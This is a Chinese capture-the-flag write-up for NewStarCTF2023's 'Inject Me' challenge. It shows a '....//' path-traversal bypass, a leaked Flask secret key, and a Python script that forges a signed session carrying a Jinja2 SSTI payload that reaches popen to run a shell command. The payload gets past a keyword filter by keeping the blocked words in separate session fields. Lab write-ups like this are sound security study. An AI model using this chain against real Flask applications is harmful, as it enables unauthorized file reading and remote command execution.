【NewStarCTF2023】Inject Me 目录穿越+ssti+flask_jwt

进到靶机后, 稍微探索一下,发现有个这个图片泄露了源码:

这里是一个目录穿越漏洞,其中

1
filename = filename.replace('../', '')

这一行代码是可以双写 ../ 成 ....// 进行绕过的.然后由于这是一个 flask 框架,我们尝试去找它的 app.py 文件, 在寻找之前,先来了解 flask 框架的文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/your-application
/venv # 虚拟环境目录
/app # 应用模块目录
__init__.py # 初始化应用并引入各个组件
/templates # Jinja2模板文件夹
layout.html # 基本布局模板
index.html # 主页模板
login.html # 登录页面模板
...
/static # 静态文件夹(css, js, images等)
/css # CSS文件
/js # JavaScript文件
/images # 图片文件
...
views.py # 视图函数模块
models.py # 数据库模型
forms.py # 表单类
app.py # 应用启动和配置
config.py # 配置文件
requirements.txt # 依赖项列表文件

如果能实现目录穿越,那么 app.pyconfig.py 这个两个文件可以优先查看.

最后构造 url 请求如下:

1
/download?file=....//....//app.py

成功看到题目源码(这里只张贴源码有意义的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)

整个代码的逻辑就是从cookie 的 session 里取出 user, 如果 user 不等于 guest, 就经过一层过滤然后 render_template_string 渲染出来.

这里就是 ssti 绕过了, 同时还要找到 secret key 去构造 session.

再查看 config.py 文件,发现:

1
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

成功拿到 secret_key, 然后就是写代码去生成对应的 session. flask 的 session 与普通的 jwt 生成不一样, 需要写代码去模拟 session 的签名.

而且这一行代码:

1
2
3
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):

过滤一堆关键字, 我的处理思路就是在 session 里面传关键字,然后在 user 里面调用(写的过程比较恶心,要去计算闭合和引号), 最后生成 session 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# flask session生成代码
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

SECRET_KEY = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
app = Flask(__name__)
app.secret_key = SECRET_KEY
# Flask 用来序列化 session 数据的接口
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
# 使用上述 serializer 来生成 session
session_data = {"user": "{% print(''[session['a']][session['b']][0][session['c']]()[117][session['d']][session['e']][session['f']]('more /y0U3_f14g_1s_h3re')[session['g']]())%}",
"a":'__class__',
"b":'__bases__',
"c":'__subclasses__',
"d":'__init__',
"e":'__globals__',
"f":'popen',
"g":'read'
}
# session_data = {}
encoded_session = session_serializer.dumps(session_data)
print(encoded_session)

最后发送拿到 flag: